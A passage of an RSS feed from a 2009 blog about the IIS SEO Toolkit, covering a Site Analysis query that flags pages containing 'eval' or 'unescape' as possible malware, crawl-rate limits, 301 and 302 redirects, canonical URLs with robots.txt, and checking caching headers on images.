color="#800000"&gt;filter&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;expression&lt;/font&gt;&lt;font color="#ff0000"&gt; field&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;ContentTypeNormalized&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; operator&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;Equals&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; value&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;text/html&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;/&amp;gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;expression&lt;/font&gt;&lt;font color="#ff0000"&gt; field&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;FileContents&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; operator&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;Contains&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; value&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;unescape&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;/&amp;gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;expression&lt;/font&gt;&lt;font color="#ff0000"&gt; field&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;FileContents&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; operator&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;Contains&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; value&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;eval&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;/&amp;gt;      &lt;br /&gt;&amp;#160; &amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;filter&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;displayFields&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;field&lt;/font&gt;&lt;font color="#ff0000"&gt; name&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;URL&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;/&amp;gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;field&lt;/font&gt;&lt;font color="#ff0000"&gt; name&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;StatusCode&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;/&amp;gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;field&lt;/font&gt;&lt;font color="#ff0000"&gt; name&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;Title&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;/&amp;gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;field&lt;/font&gt;&lt;font color="#ff0000"&gt; name&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;Description&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;/&amp;gt;      &lt;br /&gt;&amp;#160; &amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;displayFields&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;lt;/&lt;/font&gt;&lt;font color="#800000"&gt;query&lt;/font&gt;&lt;font color="#0000ff"&gt;&amp;gt;&lt;/font&gt;&lt;font color="#000000"&gt;&lt;/font&gt; &lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9800489" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/CarlosAg/~4/v7TUE8Xf1M8" height="1" width="1"/&gt;</description><feedburner:origLink>http://blogs.msdn.com/carlosag/archive/2009/06/24/finding-malware-using-iis-seo-toolkit.aspx</feedburner:origLink></item><item><title>IIS SEO Tip - Do not stress your server, limit the number of concurrent requests</title><link>http://feedproxy.google.com/~r/CarlosAg/~3/ArveN5xeX5g/iis-seo-tip-do-not-stress-your-server-limit-the-number-of-concurrent-requests.aspx</link><pubDate>Wed, 17 Jun 2009 02:52:56 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9763407</guid><dc:creator>CarlosAg</dc:creator><slash:comments>3</slash:comments><comments>http://blogs.msdn.com/carlosag/comments/9763407.aspx</comments><wfw:commentRss>http://blogs.msdn.com/carlosag/commentrss.aspx?PostID=9763407</wfw:commentRss><description>&lt;p&gt;The other day somebody ask me if there was a way to limit the amount of work that &lt;a href="http://learn.iis.net/page.aspx/640/using-site-analysis-to-crawl-a-web-site/"&gt;Site Analysis&lt;/a&gt; in &lt;a href="http://www.iis.net/extensions/SEOToolkit"&gt;IIS SEO Toolkit&lt;/a&gt; would cause to the server. This is interesting for a couple of reasons, &lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;You might want to reduce the load that Site Analysis cause to your server at any given time &lt;/li&gt;    &lt;li&gt;You might have a Denial-of-service detection system such as our &lt;a href="http://www.iis.net/extensions/DynamicIPRestrictions"&gt;Dynamic IP Restrictions IIS module&lt;/a&gt; that will start failing requests based on number of requests in a certain amount of time &lt;/li&gt;    &lt;li&gt;Or If you like me have to go through a Proxy and it has a configured limit of number of requests per minute you are allowed to issue &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;In Beta 1 we do not support the Crawl-delay directive in the &lt;a href="http://en.wikipedia.org/wiki/Robots_Exclusion_Standard"&gt;Robots exclusion protocol&lt;/a&gt;; in future versions we will look at adding support this setting. The good news is that in Beta 1 we do have a configurable setting that can help you achieve this goals called &lt;strong&gt;Maximum Number of Concurrent Requests&lt;/strong&gt; that you can configure. &lt;/p&gt;  &lt;p&gt;To set it:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Go to the Site Analysis Reports page &lt;/li&gt;    &lt;li&gt;Select the option &amp;quot;Edit Feature Settings...&amp;quot; as show in the next image      &lt;br /&gt;&lt;a href="http://www.carlosag.net/images/IISSEOTipDonotstressyourserverlimitthenu_ECE7/EditFeatureSettings.png"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="EditFeatureSettings" src="http://www.carlosag.net/images/IISSEOTipDonotstressyourserverlimitthenu_ECE7/EditFeatureSettings_thumb.png" width="589" height="234" /&gt;&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;In the &amp;quot;Edit Feature Settings&amp;quot; dialog you will see the &lt;strong&gt;Maximum Number of Concurrent Requests &lt;/strong&gt;option that you can set to any value from 1 to 16. The default value is 8 which means at any given time we will issue 8 requests to the server.       &lt;br /&gt;&lt;a href="http://www.carlosag.net/images/IISSEOTipDonotstressyourserverlimitthenu_ECE7/MaxConcurrentRequests.png"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="MaxConcurrentRequests" src="http://www.carlosag.net/images/IISSEOTipDonotstressyourserverlimitthenu_ECE7/MaxConcurrentRequests_thumb.png" width="568" height="439" /&gt;&lt;/a&gt; &lt;/li&gt; &lt;/ol&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9763407" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/CarlosAg/~4/ArveN5xeX5g" height="1" width="1"/&gt;</description><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx">IIS</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx">IIS Manager</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx">SEO</category><feedburner:origLink>http://blogs.msdn.com/carlosag/archive/2009/06/17/iis-seo-tip-do-not-stress-your-server-limit-the-number-of-concurrent-requests.aspx</feedburner:origLink></item><item><title>Redirects, 301, 302 and IIS SEO Toolkit</title><link>http://feedproxy.google.com/~r/CarlosAg/~3/BKwVpqYB2fY/redirects-301-302-and-iis-seo-toolkit.aspx</link><pubDate>Fri, 12 Jun 2009 05:40:49 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9728964</guid><dc:creator>CarlosAg</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.msdn.com/carlosag/comments/9728964.aspx</comments><wfw:commentRss>http://blogs.msdn.com/carlosag/commentrss.aspx?PostID=9728964</wfw:commentRss><description>&lt;p&gt;In the &lt;a href="http://www.iis.net/extensions/URLRewrite"&gt;URL Rewrite&lt;/a&gt; forum somebody posted the question &amp;quot;&lt;em&gt;are redirects bad for search engine optimization&lt;/em&gt;?&amp;quot;. The answer is: not necessarily, Redirects are an important tool for Web sites and if used in the right context they actually are a required tool. But first a bit of background.&lt;/p&gt;  &lt;h2&gt;What is a Redirect?&lt;/h2&gt;  &lt;p&gt;A redirect in simple terms is a way for the server to indicate to a client (typically a browser) that a resource has moved and they do this by the use of an &lt;a href="http://en.wikipedia.org/wiki/HTTP_status_code"&gt;HTTP status code&lt;/a&gt; and a &lt;a href="http://en.wikipedia.org/wiki/HTTP_location"&gt;HTTP location header&lt;/a&gt;. There are different types of redirects but the most common ones used are:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;301 - Moved Permanently. This type of redirect signals that the resource has permanently moved and that any further attempts to access it should be directed to the location specified in the header &lt;/li&gt;    &lt;li&gt;302 - Redirect or Found. This type of redirect signals that the resource is temporarily located in a different location, but any further attempts to access the resource should still go to the same original location. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Below is an example on the response sent from the server when requesting &lt;a title="http://www.microsoft.com/SQL/default.mspx" href="http://www.microsoft.com/SQL/default.mspx"&gt;http://www.microsoft.com/SQL/&lt;/a&gt;&lt;/p&gt;  &lt;div class="code"&gt;HTTP/1.1 302 Found    &lt;br /&gt;Connection: Keep-Alive     &lt;br /&gt;Content-Length: 161     &lt;br /&gt;Content-Type: text/html; charset=utf-8     &lt;br /&gt;Date: Wed, 10 Jun 2009 17:04:09 GMT     &lt;br /&gt;Location: /sqlserver/2008/en/us/default.aspx     &lt;br /&gt;Server: Microsoft-IIS/7.0     &lt;br /&gt;X-Powered-By: ASP.NET &lt;/div&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h2&gt;So what do redirects mean for SEO?&lt;/h2&gt;  &lt;p&gt;One of the most important factors in SEO is the concept called &lt;a href="http://en.wikipedia.org/wiki/Organic_linking"&gt;organic linking&lt;/a&gt;, in simple words it means that your page gets extra points for every link that external Web sites have linking to your page. So now imagine the Search Engine Bot is crawling an external Web site and finds a link pointing to your page (example.com/some-page) and when it tries to visit your page it runs into a redirect to another location (say example.com/somepage). Now the Search Engine has to decide if it should add the original &amp;quot;some-page&amp;quot; into its index as well as if it should &amp;quot;add the extra points&amp;quot; to the new location or to the original location, or if it should just ignore it entirely. Well the answer is not that simple, but a simplification of it could be:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;if you return a 301 (Permanent Redirect) you are telling the search engine that the resource moved to a new location permanently so that all further traffic should be directed to that location. This clearly means that the search engine should ignore the original location (some-page) and index the new location (somepage), and that it should add all the &amp;quot;extra points&amp;quot; to it, as well as any further references to the original location should now be &amp;quot;treated&amp;quot; as if it was the new one. &lt;/li&gt;    &lt;li&gt;if you return a 302 (Temporary Redirect) the answer can depend on search engines, but its likely to decide to index the original location and ignore the new location at all (unless directly linked in other places) since its only temporary and it could at any given point stop redirecting and start serving the content from the original location. This of course makes it very ambiguous on how to deal with the &amp;quot;extra points&amp;quot; and likely will be added to the original location and not the new destination. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h2&gt;Enter &lt;a href="http://www.iis.net/extensions/SEOToolkit"&gt;IIS SEO Toolkit&lt;/a&gt;&lt;/h2&gt;  &lt;p&gt;IIS Search Optimization Toolkit has a couple of rules that look for different patterns related to Redirects. The Beta version includes the following:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;The redirection did not include a location header&lt;/strong&gt;. Believe it or not there are a couple of applications out there that does not generate a location header which completely breaks the model of redirection. So if your application is one of them, it will let you know. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;The redirection response results in another redirection&lt;/strong&gt;. In this case it detected that your page (A) is linking to another page (B) which caused a redirection to another page (C) which resulted in another redirection to yet another page (D). In this case it is trying to let you know that the number of redirects could significantly impact the SEO &amp;quot;bonus points&amp;quot; since the organic linking could be all broken by this jumping around and that you should consider just linking from (A) to (D) or whatever actual end page is supposed to be the final destination. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;The page contains unnecessary redirects&lt;/strong&gt;. In this case it detected that your page (A) is linking to another page (B) in your Web site that resulted in a redirect to another page (C) within your Web site. Note that this is an informational rule, since there are valid scenarios where you would want this behavior, such as when tracking page impressions, or login pages, etc. but in many cases you do not need them since we detect that you own the three pages we are suggesting to look and see if it wouldn't be better to just change the markup in (A) to point directly to (C) and avoid the (B) redirection entirely. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;The page uses a refresh definition instead of using redirection&lt;/strong&gt;. Finally related to redirection, IIS SEO will flag when it detects that the use of the refresh meta-tag is being used as a mean for causing a redirection. This is a practice that is not recommended since the use of this tag does not include any semantics for search engines on how to process the content and in many cases is actually consider to be a tactic to confuse search engines, but I won't go there. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;So how does it look like? In the image below I ran &lt;a href="http://learn.iis.net/page.aspx/640/using-site-analysis-to-crawl-a-web-site/"&gt;Site Analysis&lt;/a&gt; against a Web site and it found a few of these violations (2 and 3).&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.carlosag.net/images/Redirects301302andIISSEOToolkit_A01E/IISSEORedirect1.png"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="IISSEORedirect1" src="http://www.carlosag.net/images/Redirects301302andIISSEOToolkit_A01E/IISSEORedirect1_thumb.png" width="244" height="184" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Notice that when you double click the violations it will tell you the details as well as give you direct access to the related URL's so that you can look at the content and all the relevant information about them to make the decision. From that menu you can also look at which other pages are linking to the different pages involved as well as launch it in the browser if needed.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.carlosag.net/images/Redirects301302andIISSEOToolkit_A01E/IISSEORedirect2.png"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="IISSEORedirect2" src="http://www.carlosag.net/images/Redirects301302andIISSEOToolkit_A01E/IISSEORedirect2_thumb.png" width="244" height="181" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Similarly with all the other violations it tries to explain the reason it is being flagged as well as recommended actions to follow for each of them.&lt;/p&gt;  &lt;p&gt;IIS Search Engine Optimization Toolkit can also help you find all the different types of redirects and the locations where they are being used in a very easy way, just select Content-&amp;gt;Status Code Summary in the Dashboard view and you will see all the different HTTP Status codes received from your Web site. Notice in the image below how you can see the number of redirects (in this case 18 temporary redirects and 2 permanent redirects). You can also see how much content they accounted for, in this case about 2.5 kb (Note that I've seen Web sites generate a large amount of useless content in redirect traffic, speaking of spending in bandwidth). You can double click any of those rows and it will show you the details of the URL's that returned that and from there you can see who links to them, etc.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.carlosag.net/images/Redirects301302andIISSEOToolkit_A01E/IISSEORedirect3.png"&gt;&lt;img style="border-right-width: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" border="0" alt="IISSEORedirect3" src="http://www.carlosag.net/images/Redirects301302andIISSEOToolkit_A01E/IISSEORedirect3_thumb.png" width="244" height="184" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;h2&gt;So what should I do?&lt;/h2&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;Know your Web site&lt;/strong&gt;. Run Site Analysis against your Web site and see all the different redirects that are happening.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Try to minimize redirections. &lt;/strong&gt;If possible with the knowledge gain on 1, make sure to look for places where you can update your content to reduce the number of redirects.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Use the right redirect&lt;/strong&gt;. Understand what is the intent of the redirection you are trying to do and make sure you are using the right semantics (is it permanent or temporary). Whenever possible prefer Permanent Redirects 301. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Use &lt;a href="http://www.iis.net/extensions/URLRewrite"&gt;URL Rewrite&lt;/a&gt; to easily configure them&lt;/strong&gt;. URL Rewrite allows you to configure a set of rules using both regular expressions and wildcards that live along with your application (no-administrative privileges required) that can let you set the right redirection status code. A must for SEO. More on this on a future blog. &lt;/li&gt; &lt;/ol&gt;  &lt;h2&gt;Summary&lt;/h2&gt;  &lt;p&gt;So going back to the original question: &amp;quot;are redirects bad for Search Engine Optimization?&amp;quot;. Not necessarily, they are an important tool used by Web application for many reasons such as:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Canonicalization. Ensure that users are accessing your site with www. or without www. use permanent redirects &lt;/li&gt;    &lt;li&gt;Page impressions and analytics. Using temporary redirects to ensure that the original link is preserved and counters work as expected. &lt;/li&gt;    &lt;li&gt;Content reorganization. Whether you are changing your host due to a brand change or just renaming a page, you should make sure to use permanent redirects to keep your page rankings. &lt;/li&gt;    &lt;li&gt;etc &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Just make sure you don't abuse them by having redirects to redirects, unnecessary redirects, infinite loops, and use the right semantics.&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9728964" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/CarlosAg/~4/BKwVpqYB2fY" height="1" width="1"/&gt;</description><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx">IIS</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx">IIS Manager</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx">SEO</category><feedburner:origLink>http://blogs.msdn.com/carlosag/archive/2009/06/12/redirects-301-302-and-iis-seo-toolkit.aspx</feedburner:origLink></item><item><title>Canonical Formats and Query Strings - IIS SEO Toolkit</title><link>http://feedproxy.google.com/~r/CarlosAg/~3/CW078Wxujj4/canonical-formats-and-query-strings-iis-seo-toolkit.aspx</link><pubDate>Tue, 09 Jun 2009 20:23:51 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9716647</guid><dc:creator>CarlosAg</dc:creator><slash:comments>3</slash:comments><comments>http://blogs.msdn.com/carlosag/comments/9716647.aspx</comments><wfw:commentRss>http://blogs.msdn.com/carlosag/commentrss.aspx?PostID=9716647</wfw:commentRss><description>&lt;p&gt;Today somebody was running the &lt;a href="http://www.iis.net/extensions/SEOToolkit"&gt;IIS SEO Toolkit&lt;/a&gt; and using the Site Analysis feature flagged a lot of violations about &amp;quot;The page contains multiple canonical formats.&amp;quot;. The reason apparently is that he uses Query String parameters to pass contextual information or other information between pages. This of course yield the question: &lt;strong&gt;Does that mean in general query strings are bad news SEO wise&lt;/strong&gt;?&lt;/p&gt;  &lt;p&gt;Well, the answer is not necessarily. &lt;/p&gt;  &lt;p&gt;I will start by clarifying that this violation in &lt;a href="http://learn.iis.net/page.aspx/641/using-site-analysis-reports/"&gt;Site Analysis&lt;/a&gt; means that our algorithm detected that those two URL's look like the same content, note that we make no assumptions based on the URL (including Query String parameters). This kind of situation is bad for a couple of reasons:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Based on the fact they look like the same page Search Engines will probably choose one of them and index it as the real content and will discard the other one. The problem is that you are leaving this decision to Search Engines which means some might choose the wrong version and end up using the one with Query String parameters instead of the clean one (not-likely though). Or even worse they might end up indexing both of them as if they were different. &lt;/li&gt;    &lt;li&gt;When other Web sites look at your content and add links to it, some of them might end up using the URL with different Query String parameters and some of them not. What this means is that the &lt;a href="http://en.wikipedia.org/wiki/Organic_linking"&gt;organic linking&lt;/a&gt; will not give you the benefits that you would if this was not the case. Remember Search Engines add you &amp;quot;extra&amp;quot; points when somebody external references your page but now you'll be splitting the earnings with &amp;quot;two pages&amp;quot; instead of a single canonical form. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;Query String by themselves do not pose a terrible threat to SEO, most modern Search Engines deal OK with Query Strings, however its the organic linking and the potential abuse of Query Strings that could give you headaches. &lt;/p&gt;  &lt;p&gt;Remember, Search Engines should make no assumptions based on the fact it is a single &amp;quot;page&amp;quot; that serves tons of content through a single Absulte Path and the use of Query Strings. This is typical in many cases such as when using &lt;strong&gt;index.php&lt;/strong&gt;, where pretty much every page on the site is served by the same resource and just using variations of Query Strings or path information.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h2&gt;So what should I do?&lt;/h2&gt;  &lt;p&gt;Well, there are several things you could do, but probably one of the easiest is to just tell Search Engines (more specifically crawlers or bots) to not index pages that have the different Query String variations that really are meant only for the application to pass state and not to specify different content. This can be done using the &lt;a href="http://en.wikipedia.org/wiki/Robots.txt"&gt;Robots Exclusion Protocol&lt;/a&gt; and use the wildcard matching to specify to not follow any URL's that contain a '?'. Note that you should make sure you are not blocking URL's that actually are supposed to be indexed. For this you can use the Site Analysis feature to run it again and it will flag an informational message for each URL that is not visited due to the robots exclusion file.&lt;/p&gt;  &lt;div class="code"&gt;User-agent: * &lt;/div&gt;  &lt;div class="code"&gt;Disallow: /*? &lt;/div&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;In summary, try to keep canonical formats yourself, don't leave any guesses to Search Engines cause some of them might get it wrong. There are new ways of specifying the canonical form in your markup but it is &amp;quot;very recent&amp;quot; (as in 2009) and some Search Engines do not support it (I believe the top three do, though) using the new rel=&amp;quot;canonical&amp;quot;:&lt;/p&gt;  &lt;div class="code"&gt;&lt;font color="#0000ff"&gt;&amp;lt;&lt;/font&gt;&lt;font color="#800000"&gt;link&lt;/font&gt;&lt;font color="#ff0000"&gt; rel&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;canonical&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt; href&lt;/font&gt;&lt;font color="#0000ff"&gt;=&amp;quot;http://www.my-site.com/my-canonical-url&amp;quot;&lt;/font&gt;&lt;font color="#ff0000"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;/&amp;gt;&lt;/font&gt; &lt;/div&gt;  &lt;p&gt;In the Beta 2 version of IIS SEO Toolkit we will support this tag and have better detection of this canonical issues. So stay tuned.&lt;/p&gt;  &lt;p&gt;Other ways to solve this is to use &lt;a href="http://www.iis.net/extensions/URLRewrite"&gt;URL Rewrite&lt;/a&gt; so that you can easily redirect or rewrite your URL's to get rid of the Query Strings and use more SEO friendly URL's.&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9716647" width="1" height="1"&gt;&lt;img src="http://feeds.feedburner.com/~r/CarlosAg/~4/CW078Wxujj4" height="1" width="1"/&gt;</description><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx">IIS</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx">IIS Manager</category><category domain="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx">SEO</category><feedburner:origLink>http://blogs.msdn.com/carlosag/archive/2009/06/09/canonical-formats-and-query-strings-iis-seo-toolkit.aspx</feedburner:origLink></item><item><title>Are you caching your images and scripts? IIS SEO can tell you</title><link>http://feedproxy.google.com/~r/CarlosAg/~3/lvcju2KvNp0/are-you-caching-your-images-and-scripts-iis-seo-can-tell-you.aspx</link><pubDate>Tue, 09 Jun 2009 04:41:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9711443</guid><dc:creator>CarlosAg</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.msdn.com/carlosag/comments/9711443.aspx</comments><wfw:commentRss>http://blogs.msdn.com/carlosag/commentrss.aspx?PostID=9711443</wfw:commentRss><description>&lt;P&gt;One easy way to enhance the experience of users visiting your Web site by increasing the perceived performance of navigating in your site is to reduce the number of HTTP requests that are required to display a page. There are several techniques for achieving this, such as merging scripts into a single file, merging images into a big image, etc, but by far the simplest one of all is making sure that you cache as much as you can in the client. This will not only increase the rendering time but will also reduce load in your server and will reduce your bandwidth consumption.&lt;/P&gt;
&lt;P&gt;Unfortunately the different types of caches and the different ways of set it can be quite confusing and esoteric. So my recommendation is to think about one way and use that all the time, and that way is using the HTTP 1.1 &lt;A href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html" mce_href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html"&gt;Cache-Control header&lt;/A&gt;.&lt;/P&gt;
&lt;P&gt;So first of all, how do I know if my application is being well behaved and sending the right headers so browsers can cache them. You can use a network monitor or tools like &lt;A href="http://www.fiddler2.com/fiddler2/" mce_href="http://www.fiddler2.com/fiddler2/"&gt;Fiddler&lt;/A&gt; or &lt;A href="http://www.microsoft.com/downloads/details.aspx?FamilyID=B134A806-D50E-4664-8348-DA5C17129210&amp;amp;displaylang=en" mce_href="http://www.microsoft.com/downloads/details.aspx?FamilyID=B134A806-D50E-4664-8348-DA5C17129210&amp;amp;displaylang=en"&gt;wfetch&lt;/A&gt; to look at all the headers and figure out if the headers are getting sent correctly. However, you will soon realize that this process won't scale for a site with hundreds if not thousands of scripts, styles and images.&lt;/P&gt;
&lt;H2&gt;Enter Site Analysis - IIS Search Optimization Toolkit&lt;/H2&gt;
&lt;P&gt;To figure out if your images are sending the right headers you can follow the next steps:&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;Install the &lt;A href="http://www.iis.net/extensions/SEOToolkit" mce_href="http://www.iis.net/extensions/SEOToolkit"&gt;IIS Search Optimization Toolkit&lt;/A&gt; from &lt;A title=http://www.iis.net/extensions/SEOToolkit href="http://www.iis.net/extensions/SEOToolkit" mce_href="http://www.iis.net/extensions/SEOToolkit"&gt;http://www.iis.net/extensions/SEOToolkit&lt;/A&gt; &lt;/LI&gt;
&lt;LI&gt;Launch InetMgr.exe (IIS Manager) and crawl your Web Site. For more details on how to do that refer to the article "&lt;A href="http://learn.iis.net/page.aspx/640/using-site-analysis-to-crawl-a-web-site" mce_href="http://learn.iis.net/page.aspx/640/using-site-analysis-to-crawl-a-web-site"&gt;Using Site Analysis to crawl a web site&lt;/A&gt;". &lt;/LI&gt;
&lt;LI&gt;Once you are in the Site Analysis dashboard view you can start a New Query by using the Menu "Query-&amp;gt;New Query" and add the following criteria: 
&lt;OL&gt;
&lt;LI&gt;Is External - Equals - False -&amp;gt; To only include the files that are coming from your Web site. &lt;/LI&gt;
&lt;LI&gt;Status code - Equals - OK -&amp;gt; To include only successful requests &lt;/LI&gt;
&lt;LI&gt;Content Type Normalized - Begines With - image/ -&amp;gt; To include only images &lt;/LI&gt;
&lt;LI&gt;Headers - Not Contains - Cache-Control: -&amp;gt; to include the ones does not have the cache-control header specified &lt;/LI&gt;
&lt;LI&gt;Headers - Not Contains - Expires: -&amp;gt; To include only the ones that do no have the expires header &lt;/LI&gt;
&lt;LI&gt;Press Execute, and this will display all the images in your Web site that are not specifying any caching behavior. &lt;/LI&gt;&lt;/OL&gt;&lt;/LI&gt;&lt;/OL&gt;
&lt;P&gt;Alternatively you can just save the following query as "ImagesNotCached.xml" and use the Menu "Query-&amp;gt;Open Query" for it. This should make it easy to open the query for different Web sites or keep testing the results when making changes:&lt;/P&gt;
